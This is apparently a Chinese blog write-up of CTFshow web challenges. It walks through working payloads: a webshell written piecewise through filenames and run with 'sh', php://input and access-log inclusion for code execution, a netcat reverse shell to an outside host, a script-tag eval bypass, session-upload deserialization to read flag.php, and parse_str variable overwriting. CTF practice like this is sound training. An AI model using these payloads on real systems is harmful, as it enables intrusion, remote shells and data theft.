CTFshow Web赛题复现

2022七夕杯

签到

在这里插入图片描述
只能执行较短命令,不能回显,这个时候考虑到写入内容
涉及到重定向符

n > file    将文件描述符为 n 的文件重定向到 file。

这里的话我们可以用ls命令查看根目录,然后把他定向到一个自定义文件中

ls />a

此时我们去访问api/a
在这里插入图片描述
发现在根目录下,我们直接用flag的话又因为字符串长度过长而无法执行,这里的话我们直接用*,用nl命令来读

nl /*>b
在这里插入图片描述

方法二

参考文章
https://blog.csdn.net/nzjdsds/article/details/102873187
原理 就是按照顺序利用 >xx 写文件名 (重定向符写入, 文件内容为空), 然后利用 ls -t 按时间顺序列表, 最后写进一个文件里利用 sh 执行

因为 Linux 的特性, \ 表示命令输入没有结束, 会在下一行继续输入, 而 Linux 的文件名比较自由, 因此我们可以逐步将一个命令分散到多个文件之中, 然后配合上述方法执行
原语句

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
    //<?php eval($_GET[1]);

构造payload

>hp
>1.ph\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

接下来就可以RCE了

http://xxx/api/1.php?1=system('cat /flag');

calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){

        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

可以使用伪协议

num1=1&symbol=-&num2=include"php://input"&a=<?php system('ls /');?>

在这里插入图片描述
查看flag

num1=1&symbol=-&num2=include"php://input"&a=<?php system('nl /secret');?>

在这里插入图片描述
也可以用日志包含的方式

num1=include "/var/log/nginx/access.log"&symbol=-&num2=1
UA:<?php system('cat /secret');?>
在这里插入图片描述

cmd

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

使用nc命令反弹shell即可

nc  xxx.xxx.xxx.xxx 端口 -e  /bin/sh

2022新手杯

easy_eval

<?php



error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

}

ban了?>,想起来之前buu有一道文件上传,绕过PHP方式是这样的

<script language="php">@eval($_POST['1']);</script>

这里看起来也适用
在这里插入图片描述
雀氏可以,接下来执行命令
在这里插入图片描述
在这里插入图片描述

剪刀石头布

在这里插入图片描述
看到题目有提示,php.ini,先留个小印象,打开环境
在这里插入图片描述
随便输入一个0,发现源码
在这里插入图片描述
源码如下

<?php
    ini_set('session.serialize_handler', 'php');
    if(isset($_POST['source'])){
        highlight_file(__FILE__);
    phpinfo();
    die();
    }
    error_reporting(0);
    include "flag.php";
    class Game{
        public $log,$name,$play;

        public function __construct($name){
            $this->name = $name;
            $this->log = '/tmp/'.md5($name).'.log';
        }

        public function play($user_input,$bot_input){
            $output = array('Rock'=>'&#9996;&#127995;','Paper'=>'&#9994;&#127995;','Scissors'=>'&#9995;&#127995;');
            $this->play = $user_input.$bot_input;
            if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
                return "Draw";
            } else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
                return "You Lose";
            } else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
                return "You Win";
            }
        }

        public function __destruct(){
                echo "<h5>Game History</h5>\n";
        echo "<div class='all_output'>\n";
                echo file_get_contents($this->log);
        echo "</div>";
        }
    }

?>

这里看到了ini_set('session.serialize_handler', 'php');,又看到类这些,感觉可能是Session反序列化,下面有输出Phpinfo信息,查看一下
在这里插入图片描述
发现这里是PHP引擎读取文件,且没有开启清理session的,同时可以监测session上传进度,这个时候我们就可以上传一个PHP_SESSION_UPLOAD_PROGRESS同名文件,然后再上传一个其他文件,通过文件名实现反序列化,具体可以参考这篇文章
https://www.freebuf.com/articles/web/324519.html
接下来说一下反序列化思路,这里的话肯定是利用这个__destruct里的file_get_contents实现反序列化,那我们这里肯定就需要控制这个log值实现读取文件,但是__construct中对这个进行了md5加密,我们可以先这样构造出大致样子,再修改一下,exp如下

<?php
class Game{
        public $log,$name,$play;

        public function __construct($name){
            $this->name = $name;
            $this->log = '/tmp/'.md5($name).'.log';
        }

        public function play($user_input,$bot_input){
            $output = array('Rock'=>'&#9996;&#127995;','Paper'=>'&#9994;&#127995;','Scissors'=>'&#9995;&#127995;');
            $this->play = $user_input.$bot_input;
            if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
                return "Draw";
            } else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
                return "You Lose";
            } else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
                return "You Win";
            }
        }

        public function __destruct(){
                echo "<h5>Game History</h5>\n";
        echo "<div class='all_output'>\n";
                echo file_get_contents($this->log);
        echo "</div>";
        }
}
$a = new Game("/var/www/html/flag.php");
echo serialize($a);
?>

得到

O:4:"Game":3:{s:3:"log";s:41:"/tmp/03e27f7414ab8c82dd5b454186c08d5e.log";s:4:"name";s:22:"/var/www/html/flag.php";s:4:"play";N;}

这里我们Game中只需要log,同时我们更改一下它的值就可以达到我们想要的效果,修正后如下

O:4:"Game":3:{s:3:"log";s:22:"/var/www/html/flag.php"}

但是当作为文件名时,还需要防止转义,所以需要在双引号前加上\,即

O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}

同时我们知道php读取文件是以|为分界线,其前面的为键名,后面为键值,因此这里还需要在前面加一个|,才符合语法,如下

|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}

语句构造完成,接下来构造一个上传文件的HTML界面,内容如下

<form action="http://27ce91d5-748f-4faa-8910-40740c93b91d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="aaa" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

随便选择一个文件
在这里插入图片描述
抓包,点击查询
在这里插入图片描述
修改filename值,发包在这里插入图片描述

repairman

源码如下

<?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

做题须知

parse_str函数可以实现变量覆盖(PHP Version=5.2)

我们简单看一下代码,就会发现这里想要执行命令,只有两个要求

1、$mode=0 
2、$secret=md5('admin'.$config['secret'])

mode可以通过GET传参来操控,这个简单,主要是后者,想要实现这两者相等在平常看几乎是不可能的事情,而当我们看到parse_str函数,想起来这个函数在特定的PHP版本下可以实现变量覆盖,我们这里就可以通过它来实现,构造payload如下

mode=0&config[secret]=quan9i&secret=d0d1793c5a69a65c168fcc722c474d3f
//d0d1793c5a69a65c168fcc722c474d3f为adminquan9i的md5加密值

在这里插入图片描述
可以看到这个时候已经可以执行命令了,但是我们会发现,这里执行命令的语句

   exec($cmd);

它是没有回显的,因此我们这里不能直接查看,可以通过把它写入一个文件内的方式来查看
在这里插入图片描述
查看1.txt
在这里插入图片描述
查看config.php

cmd=cat  config.php>1.txt
在这里插入图片描述
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...